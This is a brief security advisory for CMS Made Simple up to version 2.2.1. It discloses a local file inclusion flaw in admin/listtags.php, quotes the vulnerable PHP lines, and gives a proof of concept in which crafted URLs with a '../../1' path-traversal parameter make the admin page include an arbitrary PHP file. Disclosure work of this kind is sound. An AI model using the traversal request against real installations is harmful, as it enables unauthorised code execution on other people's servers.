=======
Details
=======

Software:cmsmadesimple


Homepage:http://www.cmsmadesimple.org/<http://www.cmsmadesimple.org/><http://www.cmsmadesimple.org/>


version:<=2.2.1


description:The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.


========

PoC:

========


For cmsmadesimple <=2.1.6:


The Vulnerability is existing in /cmsms/admin/listtags.php Line 82 and line 54

If there is a file named "1.phpinfo.php" in http://127.0.0.1/1.phpinfo.php

So when we visit the following link:

http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp

http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp&plugin=phpinfo&
type=../../1

local file inclusion successfully!


For cmsmadesimple <=2.2.1:


Current version is still vulnerable.


if ($action == "showpluginhelp") {
    $content = '';
    $file = $find_file("$type.$plugin.php");
    if( is_file($file) ) require_once($file);


=========

Reference

==========


https://lightrains.org/local-file-inclusion-in-cmsmadesimple/